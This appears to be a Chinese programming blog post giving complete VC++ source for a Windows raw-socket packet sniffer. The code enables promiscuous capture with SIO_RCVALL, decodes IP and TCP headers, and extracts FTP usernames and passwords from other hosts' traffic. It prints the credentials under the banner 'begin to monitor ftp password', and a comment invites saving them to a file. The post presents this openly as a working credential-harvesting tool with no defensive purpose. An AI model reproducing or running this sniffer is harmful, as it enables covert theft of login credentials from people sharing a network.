VC++实现ip数据包解包TCP解包HTTP

#include "../common/initsock.h"
#include "../common/protoinfo.h"

#include <stdio.h>
#include <mstcpip.h>

#pragma comment(lib, "Advapi32.lib")

CInitSock theSock;

void GetFtp(char *pData, DWORD dwDestIp)
{
char szBuf[256];
static char szUserName[21];
static char szPassword[21];

if(strnicmp(pData, "USER ", 5) == 0)
{
sscanf(pData + 4, "%*[ ]%s", szUserName);
}
else if(strnicmp(pData, "PASS ", 5) == 0)
{
sscanf(pData + 4, "%*[ ]%s", szPassword);

wsprintf(szBuf, " Server Address: %s; User Name: %s; Password: %s; \n\n",
::inet_ntoa(*(in_addr*)&dwDestIp), szUserName, szPassword);

printf(szBuf);	// 这里您可以将它保存到文件中
}
}

void DecodeIPPacket(char *pData)
{
IPHeader *pIPHdr = (IPHeader*)pData;

int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG);

switch(pIPHdr->ipProtocol)
{
case IPPROTO_TCP:
{
TCPHeader *pTCPHdr = (TCPHeader *)(pData + nHeaderLen);
switch(::ntohs(pTCPHdr->destinationPort))
{
case 21:	// ftp协议
{
GetFtp((char*)pTCPHdr + sizeof(TCPHeader), pIPHdr->ipDestination);
}
break;

case 80:	// http协议...
case 8080:

break;
}
}
break;
case IPPROTO_UDP:
break;
case IPPROTO_ICMP:
break;
}
}

void main()
{
// 创建原始套节字
SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

// 获取本地IP地址
char szHostName[56];
SOCKADDR_IN addr_in;
struct  hostent *pHost;
gethostname(szHostName, 56);
if((pHost = gethostbyname((char*)szHostName)) == NULL)
return ;

// 在调用ioctl之前，套节字必须绑定
addr_in.sin_family  = AF_INET;
addr_in.sin_port    = htons(0);
memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);

printf(" Binding to interface : %s \n", ::inet_ntoa(addr_in.sin_addr));
if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)
return;

// 设置SIO_RCVALL控制代码，以便接收所有的IP包
DWORD dwValue = 1;
if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)
return ;

// 开始接收封包
printf(" \n\n begin to monitor ftp password... \n\n");
char buff[1024];
int nRet;
while(TRUE)
{
nRet = recv(sRaw, buff, 1024, 0);
if(nRet > 0)
{
DecodeIPPacket(buff);
}
}
closesocket(sRaw);
}